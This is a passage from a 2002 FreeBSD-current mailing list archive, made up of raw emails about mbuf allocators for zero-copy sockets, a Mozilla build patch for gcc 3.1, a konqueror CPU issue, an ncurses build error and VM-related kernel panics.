	Thu, 20 Jun 2002 11:45:11 -0400 (EDT)
	(envelope-from bmilekic@unixdaemons.com)
Date: Thu, 20 Jun 2002 11:45:11 -0400
From: Bosko Milekic <bmilekic@unixdaemons.com>
To: Andrew Gallatin <gallatin@cs.duke.edu>
Cc: "Kenneth D. Merry" <ken@kdm.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020620114511.A22413@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no> <20020619090046.A2063@panzer.kdm.org> <20020619120641.A18434@unixdaemons.com> <15633.17238.109126.952673@grasshopper.cs.duke.edu> <20020619233721.A30669@unixdaemons.com> <15633.62357.79381.405511@grasshopper.cs.duke.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <15633.62357.79381.405511@grasshopper.cs.duke.edu>; from gallatin@cs.duke.edu on Thu, Jun 20, 2002 at 11:24:05AM -0400
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Thu, Jun 20, 2002 at 11:24:05AM -0400, Andrew Gallatin wrote:
> 
> Bosko Milekic writes:
>  > 
>  > On Wed, Jun 19, 2002 at 10:52:06PM -0400, Andrew Gallatin wrote:
> 
> <...>
> 
>  >   Yes, I know that that's what it does.  What I meant was that it would
>  > be convenient to have UMA handle the allocation bit.  It should be
>  > possible to have UMA do this sort of allocation and keep the free pages
>  > in per-CPU caches.  The problem right now, as you know, is that UMA
>  > (nor mb_alloc for that matter) will allow you to play those vm-tricks
>  > you play on the allocated pages.  I was just pointing out that it is an
>  > unfortunate thing and that, hopefully, UMA will allow for this sort of
>  > thing at some point in the future.
> 
> Ah, OK, point taken.   I'm sorry if I gave offense.

  Hey, I'm sorry if I accidently suggested that I took offense!  Really,
I wasn't offended at all. :-)

>  >   By the way, my other two comments have been deleted, but reading the
>  > page that Ken maintains I noticed that Alfred already pointed them out.
> 
> <...>
> 
> Ken has been maintaining the patchset on his own for quite some time.
> I must admit that I've not looked closely at these issues, so I didn't
> feel it was appropriate for me to comment on them.  I didn't mean to
> discount your other comments.

  Ken has already taken care of it.  I'm really impressed that Ken has
maintained the patchset for so long.  It's really good that the
zero-copy stuff has not been dropped over the years.

>  > [...]
>  > > This is orthogonal to the zero-copy patch, but it _would_ be nice to
>  > > have general purpose mbuf allocator which could allocate mbuf clusters
>  > > with 9K physically contigous for dumber nics.  There are a whole slew
>  > > of drivers (unpatched ti, bge, nge, lge, etc) which roll their own for
>  > > no better reason than the system doesn't offer this feature.  That's
>  > > what needs fixing.  Heck, if such an allocator was available, we could
>  > > use it for copyin's of large chunks of data.   Tru64 has 8K and 2K
>  > > clusters and does this. (based from emperical evidence garnered at the
>  > > driver level).
>  > 
>  >   Right.  It's very hard to do > PAGE_SIZE allocations that are backed
>  > by physically contiguous memory in FreeBSD right now.  I agree that this
>  > would be very useful, though.
>  >
> 
> Years ago, I used Wollman's MCLBYTES > PAGE_SIZE support (introduced
> in rev 1.20 of uipc_mbuf.c) and it seemed to work OK then.  But having
> 16K clusters is a huge waste of space. ;).

  Since then, the mbuf allocator in -CURRENT has totally changed.  It is
still possible to provide allocations of > PAGE_SIZE buffers, however
they will likely not map physically contiguous memory.  If you happen to
have a device that doesn't support scatter/gather for DMA, then these
buffers will be broken for it (I know that if_ti is not a problem).
  The other issue is that the mbuf allocator then as well as the new
mbuf allocator uses the kmem_malloc() interface that was also used by
malloc() to perform allocations of wired-down pages.  I am not sure if
you'll be able to play those tricks where you unmap and remap the page
that is allocated for you once it comes out of the mbuf allocator.  Do
you think it would work?

> Do you think it would be feasable to glue in a new jumbo (10K?)
> allocator on top of the existing mbuf and mcl allocators using the
> existing mechanisms and the existing MCLBYTES > PAGE_SIZE support
> (but broken out into separte functions and macros)?

  Assuming that you can still play those VM tricks with the pages spit
out by mb_alloc (kern/subr_mbuf.c in -CURRENT), then this wouldn't be a
problem at all.  It's easy to add a new fixed-size type allocation to
mb_alloc.  In fact, it would be beneficial.  mb_alloc uses per-CPU
caches and also makes mbuf and cluster allocations share the same
per-CPU lock.  What could be done is that the jumbo buffer allocations
could share the same lock as well (since they will likely usually be
allocated right after an mbuf is).  This would give us jumbo-cluster
support, but it would only be useful for devices clued enough to break
up the cluster into PAGE_SIZE chunks and do scatter/gather.  For most
worthy gigE devices, I don't think this should be a problem.

> Drew

Regards,
-- 
Bosko Milekic
bmilekic@unixdaemons.com
bmilekic@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  9:13:23 2002
Delivered-To: freebsd-current@freebsd.org
Received: from gyros.marcuscom.com (dhcp-64-102-60-51.cisco.com [64.102.60.51])
	by hub.freebsd.org (Postfix) with ESMTP id 64EE237B40D
	for <freebsd-current@FreeBSD.ORG>; Thu, 20 Jun 2002 09:13:01 -0700 (PDT)
Received: from gyros.marcuscom.com (localhost [127.0.0.1])
	by gyros.marcuscom.com (8.12.3/8.12.3) with ESMTP id g5KGCgoe000378;
	Thu, 20 Jun 2002 12:12:43 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
Received: (from marcus@localhost)
	by gyros.marcuscom.com (8.12.3/8.12.3/Submit) id g5KGCfGn000377;
	Thu, 20 Jun 2002 12:12:41 -0400 (EDT)
X-Authentication-Warning: gyros.marcuscom.com: marcus set sender to marcus@marcuscom.com using -f
Subject: Re: The -current state of mozilla affairs
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: Sean Chittenden <sean@chittenden.org>
Cc: Kris Kennaway <kris@obsecurity.org>,
	walt <wsheets@sbcglobal.net>,
	freebsd-current <freebsd-current@FreeBSD.ORG>
In-Reply-To: <20020619232135.D37593@ninja1.internal>
References: <3CFC588A.9070903@sbcglobal.net>
	<20020604134655.B62465@xor.obsecurity.org>
	<20020619183056.K31745@ninja1.internal>
	<1024539159.44782.21.camel@shumai.marcuscom.com> 
	<20020619232135.D37593@ninja1.internal>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 20 Jun 2002 12:12:41 -0400
Message-Id: <1024589561.329.0.camel@gyros.marcuscom.com>
Mime-Version: 1.0
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, 2002-06-20 at 02:21, Sean Chittenden wrote:
> > > I supped a -CURRENT system 3 days ago and am still having the problem
> > > described here, but the gcc that's in the base system is 3.1 at this
> > > point.  I'm installing gcc32 now and will try building this again
> > > using a newer version of GCC but am not sure if this'll fix anything.
> > > Anyone have any ideas/clues?  -sc
> > 
> > I do, but admittedly, it's not my idea.  Peter Kostouros has said
> > that defining THUNK_BASED_THIS_ADJUST in
> > xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h fixes
> > the build problem on -CURRENT.  I have not tested this yet, but I
> > did test a build with gcc31 from ports (per mbr@'s suggestion), and
> > that works just fine.
> >
> > I want to test Peter's suggestion before I add more bloat to Mozilla.  I
> > just have a really slow -CURRENT machine.  If you'd like to test the
> > option, undefine CFRONT_STYLE_THIS_ADJUST, and define
> > THUNK_BASED_THIS_ADJUST in the above header file, and see if it works.
> 
> Sweeet!  We've got a winner.  The attach patched should work but is
> untested (I just brute-forced the defs earlier and am not about to
> wait another 4+hrs to test this little patch).  :~) Anyway, any chance
> this could be committed as a patch for mozilla?  -sc

I think I'm going to modify it slightly for alpha -stable builds, but if
we have three people that says it works, I don't see any reason why this
shouldn't be committed.

Joe

> 
> -- 
> Sean Chittenden
> ----
> 

> --- xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h.orig	Tue Apr  9 20:37:34 2002
> +++ xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h	Wed Jun 19 23:23:38 2002
> @@ -94,7 +94,7 @@
>   * gcc is that the system gcc defines __FreeBSD_cc_version.  This variable
>   * can also identify the period of time that 4.0-CURRENT used thunks.
>   */
> -#if defined(__FreeBSD_cc_version) && \
> + #if defined(__FreeBSD_cc_version) && (__FreeBSD_cc_version < 500003) && \
>      (__FreeBSD_cc_version < 400002 || __FreeBSD_cc_version > 400003)
>  #define CFRONT_STYLE_THIS_ADJUST
>  #else
-- 
PGP Key : http://www.marcuscom.com/pgp.asc

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  9:28: 3 2002
Delivered-To: freebsd-current@freebsd.org
Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1])
	by hub.freebsd.org (Postfix) with ESMTP
	id CBB1B37B40B; Thu, 20 Jun 2002 09:26:30 -0700 (PDT)
Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30])
	by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id MAA04622;
	Thu, 20 Jun 2002 12:26:28 -0400 (EDT)
Received: (from gallatin@localhost)
	by grasshopper.cs.duke.edu (8.11.6/8.9.1) id g5KGPwu30393;
	Thu, 20 Jun 2002 12:25:58 -0400 (EDT)
	(envelope-from gallatin@cs.duke.edu)
From: Andrew Gallatin <gallatin@cs.duke.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15634.534.696063.241224@grasshopper.cs.duke.edu>
Date: Thu, 20 Jun 2002 12:25:58 -0400 (EDT)
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: "Kenneth D. Merry" <ken@kdm.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
In-Reply-To: <20020620114511.A22413@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org>
	<xzpelf3ida1.fsf@flood.ping.uio.no>
	<20020619090046.A2063@panzer.kdm.org>
	<20020619120641.A18434@unixdaemons.com>
	<15633.17238.109126.952673@grasshopper.cs.duke.edu>
	<20020619233721.A30669@unixdaemons.com>
	<15633.62357.79381.405511@grasshopper.cs.duke.edu>
	<20020620114511.A22413@unixdaemons.com>
X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Bosko Milekic writes:

 > > Years ago, I used Wollman's MCLBYTES > PAGE_SIZE support (introduced
 > > in rev 1.20 of uipc_mbuf.c) and it seemed to work OK then.  But having
 > > 16K clusters is a huge waste of space. ;).
 > 
 >   Since then, the mbuf allocator in -CURRENT has totally changed.  It is
 > still possible to provide allocations of > PAGE_SIZE buffers, however
 > they will likely not map physically contiguous memory.  If you happen to
 > have a device that doesn't support scatter/gather for DMA, then these
 > buffers will be broken for it (I know that if_ti is not a problem).

Actually, it will be a problem for if_ti.  The original tigon 1s
didn't support s/g DMA.  I think we should just not support jumbo
frames on tigon 1s..

 >   The other issue is that the mbuf allocator then as well as the new
 > mbuf allocator uses the kmem_malloc() interface that was also used by
 > malloc() to perform allocations of wired-down pages.  I am not sure if
 > you'll be able to play those tricks where you unmap and remap the page
 > that is allocated for you once it comes out of the mbuf allocator.  Do
 > you think it would work?

I don't think so, but I haven't read the code carefully and I don't
know for certain.

However, my intent was to use a jumbo mbuf type for copyin and to
clean up the existing infastructure for drivers w/brain dead firmware,
not to use a new 10K cluster as a framework for zero-copy.

 > > Do you think it would be feasable to glue in a new jumbo (10K?)
 > > allocator on top of the existing mbuf and mcl allocators using the
 > > existing mechanisms and the existing MCLBYTES > PAGE_SIZE support
 > > (but broken out into separte functions and macros)?
 > 
 >   Assuming that you can still play those VM tricks with the pages spit
 > out by mb_alloc (kern/subr_mbuf.c in -CURRENT), then this wouldn't be a
 > problem at all.  It's easy to add a new fixed-size type allocation to
 > mb_alloc.  In fact, it would be beneficial.  mb_alloc uses per-CPU
 > caches and also makes mbuf and cluster allocations share the same
 > per-CPU lock.  What could be done is that the jumbo buffer allocations
 > could share the same lock as well (since they will likely usually be
 > allocated right after an mbuf is).  This would give us jumbo-cluster
 > support, but it would only be useful for devices clued enough to break
 > up the cluster into PAGE_SIZE chunks and do scatter/gather.  For most
 > worthy gigE devices, I don't think this should be a problem.

I'm a bit worried about other devices.. Tradidtionally, mbufs have
never crossed page boundaries so most drivers never bother to check
for a transmit mbuf crossing a page boundary.  Using physically
discontigous mbufs could lead to a lot of subtle data corruption.

One question.  I've observed some really anomolous behaviour under
-stable with my Myricom GM driver (2Gb/s + 2Gb/s link speed, Dual 1GHz
pIII).  When I use 4K mbufs for receives, the best speed I see is
about 1300Mb/sec.  However, if I use private 9K physically contiguous
buffers I see 1850Mb/sec (iperf TCP).

The obvious conclusion is that there's a lot of overhead in setting up
the DMA engines, but that's not the case; we have a fairly quick chain
dma engine.  I've provided a "control" by breaking my contiguous
buffers down into 4K chunks so that I do the same number of DMAs in
both cases and I still see ~1850 Mb/sec for the 9K buffers.  

A coworker suggested that the problem was that when doing copyouts to
userspace, the PIII was doing speculative reads and loading the cache
with the next page.  However, we then start copying from a totally
different address using discontigous buffers, so we effectively take
2x the number of cache misses we'd need to.  Does that sound
reasonable to you?  I need to try malloc'ing virtually contigous and
physically discontigous buffers & see if I get the same (good)
performance...

Cheers,

Drew


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  9:29:49 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tara.freenix.org (keltia.freenix.org [62.4.20.87])
	by hub.freebsd.org (Postfix) with ESMTP id F053237B4F1
	for <freebsd-current@FreeBSD.ORG>; Thu, 20 Jun 2002 09:29:05 -0700 (PDT)
Received: by tara.freenix.org (Postfix/TLS, from userid 101)
	id CE2FB2A93; Thu, 20 Jun 2002 18:29:04 +0200 (CEST)
Date: Thu, 20 Jun 2002 18:29:04 +0200
From: Ollivier Robert <roberto@keltia.freenix.fr>
To: Michael Nottebrock <michaelnottebrock@gmx.net>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: konqueror 3.0.1 eats all CPU
Message-ID: <20020620162904.GA3936@tara.freenix.org>
Mail-Followup-To: Michael Nottebrock <michaelnottebrock@gmx.net>,
	freebsd-current@FreeBSD.ORG
References: <20020620141525.GA2818@tara.freenix.org> <3D11F334.30300@gmx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
In-Reply-To: <3D11F334.30300@gmx.net>
X-Operating-System: FreeBSD 5.0-CURRENT K6-3D/266 & 2x PIII/800 SMP
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

According to Michael Nottebrock:
> At least on -CURRENT, this stems from QT being compiled with the=20
> system-gcc3, which breaks the gif-loader of QT. Here is a patch for the=
=20

I've seen that mentionned a few times but what did we changed in gcc31 in t=
he
system that makes it generate bad code ?
--=20
Ollivier ROBERT -=3D- FreeBSD: The Power to Serve! -=3D- roberto@keltia.fre=
enix.fr
FreeBSD keltia.freenix.fr 5.0-CURRENT #80: Sun Jun  4 22:44:19 CEST 2000

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 10: 4:57 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by hub.freebsd.org (Postfix) with SMTP id 87C5A37B407
	for <freebsd-current@FreeBSD.ORG>; Thu, 20 Jun 2002 10:04:48 -0700 (PDT)
Received: (qmail 7031 invoked by uid 0); 20 Jun 2002 17:04:46 -0000
Received: from pd950a5f2.dip.t-dialin.net (HELO gmx.net) (217.80.165.242)
  by mail.gmx.net (mp016-rz3) with SMTP; 20 Jun 2002 17:04:46 -0000
Message-ID: <3D120B0A.2070905@gmx.net>
Date: Thu, 20 Jun 2002 19:04:10 +0200
From: Michael Nottebrock <michaelnottebrock@gmx.net>
User-Agent: Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ollivier Robert <roberto@keltia.freenix.fr>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: konqueror 3.0.1 eats all CPU
References: <20020620141525.GA2818@tara.freenix.org> <3D11F334.30300@gmx.net> <20020620162904.GA3936@tara.freenix.org>
X-Enigmail-Version: 0.61.1.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="------------enig62136C7804CBEBDAB9C720F6"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

The following is an OpenPGP/MIME signed message
created by Enigmail/Mozilla, following RFC 2440 and RFC 2015
--------------enig62136C7804CBEBDAB9C720F6
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Ollivier Robert wrote:
> According to Michael Nottebrock:
> 
>>At least on -CURRENT, this stems from QT being compiled with the 
>>system-gcc3, which breaks the gif-loader of QT. Here is a patch for the 
> 
> 
> I've seen that mentionned a few times but what did we changed in gcc31 in the
> system that makes it generate bad code ?

Actually the system-gcc31 is older than the ports-gcc31, so the question 
is rather "What did the gcc-developers change during those weeks?". :)


Regards,
-- 
Michael Nottebrock
"The circumstance ends uglily in the cruel result." - Babelfish

--------------enig62136C7804CBEBDAB9C720F6
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE9EgsKXhc68WspdLARAltTAJ0X/7Fjkn5bPSywCKKua4X9rer8fQCfSIcB
v5w933uwS7F30F3BeKNSr/A=
=84Po
-----END PGP SIGNATURE-----

--------------enig62136C7804CBEBDAB9C720F6--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 10:16:18 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 7A47037B404
	for <freebsd-current@FreeBSD.ORG>; Thu, 20 Jun 2002 10:16:12 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5KHGBP8082483;
	Thu, 20 Jun 2002 10:16:11 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5KHGBlk082482;
	Thu, 20 Jun 2002 10:16:11 -0700 (PDT)
Date: Thu, 20 Jun 2002 10:16:11 -0700
From: "David O'Brien" <dev-null@NUXI.com>
To: ir@hotbox.ru
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: error in ncurses in 'make buildworld'
Message-ID: <20020620101611.B55653@dragon.nuxi.com>
Reply-To: freebsd-current@FreeBSD.ORG
References: <20020619163321.A48809@dragon.nuxi.com> <20020620074657.11859.qmail@web14108.mail.yahoo.com> <20020620092649.GA10310@sysadm.stc>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020620092649.GA10310@sysadm.stc>; from igorr@sysadm.stc on Thu, Jun 20, 2002 at 01:26:49PM +0400
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

[bogus From: address, because people cannot be bothered to respect Reply-To:]

On Thu, Jun 20, 2002 at 01:26:49PM +0400, Igor Roboul wrote:
> > And continues to 'lib_gen.c:824: `a0' undeclared'.
> rm -f /usr/bin/awk
> ln /usr/bin/gawk /usr/bin/awk
> 
> Then rebuild.
> 
> I have posted info about awk (which is nawk) incorrectly printing 
> numbers between 10 and 15. It adds ascii '0' to value. 

This is *NOT* a fix.  nawk builds world just fine on my systems.
Of course this leads one to wonder what is different about my systems and
yours.



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 10:25:34 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 7275237B409
	for <freebsd-current@FreeBSD.ORG>; Thu, 20 Jun 2002 10:25:30 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5KHPRP8082563;
	Thu, 20 Jun 2002 10:25:27 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5KHPR8w082562;
	Thu, 20 Jun 2002 10:25:27 -0700 (PDT)
Date: Thu, 20 Jun 2002 10:25:27 -0700
From: "David O'Brien" <dev-null@NUXI.com>
To: Sean Chittenden <sean@chittenden.org>
Cc: freebsd-current <freebsd-current@FreeBSD.ORG>
Subject: Re: The -current state of mozilla affairs
Message-ID: <20020620102527.C55653@dragon.nuxi.com>
Reply-To: freebsd-current@FreeBSD.ORG
References: <3CFC588A.9070903@sbcglobal.net> <20020604134655.B62465@xor.obsecurity.org> <20020619183056.K31745@ninja1.internal> <1024539159.44782.21.camel@shumai.marcuscom.com> <20020619232135.D37593@ninja1.internal>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020619232135.D37593@ninja1.internal>; from sean@chittenden.org on Wed, Jun 19, 2002 at 11:21:35PM -0700
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 11:21:35PM -0700, Sean Chittenden wrote:
> -#if defined(__FreeBSD_cc_version) && \
> + #if defined(__FreeBSD_cc_version) && (__FreeBSD_cc_version < 500003) && \
>      (__FreeBSD_cc_version < 400002 || __FreeBSD_cc_version > 400003)
>  #define CFRONT_STYLE_THIS_ADJUST

Please add a comment why you chose these __FreeBSD_cc_version values.
What is special about 500003?  500003 is 5.0-CURRENT after buf/bio
changes, *years* ago.  Perhaps you wanted another value from
http://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/freebsd-versions.html

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 10:36:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.chesapeake.net (chesapeake.net [205.130.220.14])
	by hub.freebsd.org (Postfix) with ESMTP id A21D737B403
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 10:36:07 -0700 (PDT)
Received: from localhost (jroberson@localhost)
	by mail.chesapeake.net (8.11.6/8.11.6) with ESMTP id g5KHa0S80285;
	Thu, 20 Jun 2002 13:36:00 -0400 (EDT)
	(envelope-from jroberson@chesapeake.net)
Date: Thu, 20 Jun 2002 13:36:00 -0400 (EDT)
From: Jeff Roberson <jroberson@chesapeake.net>
To: sgk@troutmask.apl.washington.edu
Cc: freebsd-current@freebsd.org
Subject: Re: vm related kernel panics
In-Reply-To: <E68F4182B5EFBE42A503F10FCB75FEDE018810F0@EX1.midstream.com>
Message-ID: <20020620133339.I78902-100000@mail.chesapeake.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG



> I got 2 panics from -current sources of today.
> The back traces are:
>
> panic 1:
>   vm_page_insert
>   vm_page_alloc
>   vm_page_grab
>   pmap_new_proc
>   vm_forkproc
>   fork1
>   fork
>   syscall
>   syscal
>
> panic 2:
>   panic
>   mtx_init
>   fork1
>   fork
>   syscal
>   syscall
>
> I would provide more information except I seem to have
> some problems reading my vmcore.0 files with either gdb
> or gdb52.
>

I'm not sure what's wrong with gdb, but those two panics were my fault.
They were fixed by rev 1.80 of vm_kern.c

Jeff


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 10:49:55 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tesla.distributel.net (nat.MTL.distributel.NET [66.38.181.24])
	by hub.freebsd.org (Postfix) with ESMTP
	id 334C137B409; Thu, 20 Jun 2002 10:49:45 -0700 (PDT)
Received: (from bmilekic@localhost)
	by tesla.distributel.net (8.11.6/8.11.6) id g5KHlNZ22976;
	Thu, 20 Jun 2002 13:47:23 -0400 (EDT)
	(envelope-from bmilekic@unixdaemons.com)
Date: Thu, 20 Jun 2002 13:47:23 -0400
From: Bosko Milekic <bmilekic@unixdaemons.com>
To: Andrew Gallatin <gallatin@cs.duke.edu>
Cc: "Kenneth D. Merry" <ken@kdm.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020620134723.A22954@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no> <20020619090046.A2063@panzer.kdm.org> <20020619120641.A18434@unixdaemons.com> <15633.17238.109126.952673@grasshopper.cs.duke.edu> <20020619233721.A30669@unixdaemons.com> <15633.62357.79381.405511@grasshopper.cs.duke.edu> <20020620114511.A22413@unixdaemons.com> <15634.534.696063.241224@grasshopper.cs.duke.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <15634.534.696063.241224@grasshopper.cs.duke.edu>; from gallatin@cs.duke.edu on Thu, Jun 20, 2002 at 12:25:58PM -0400
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
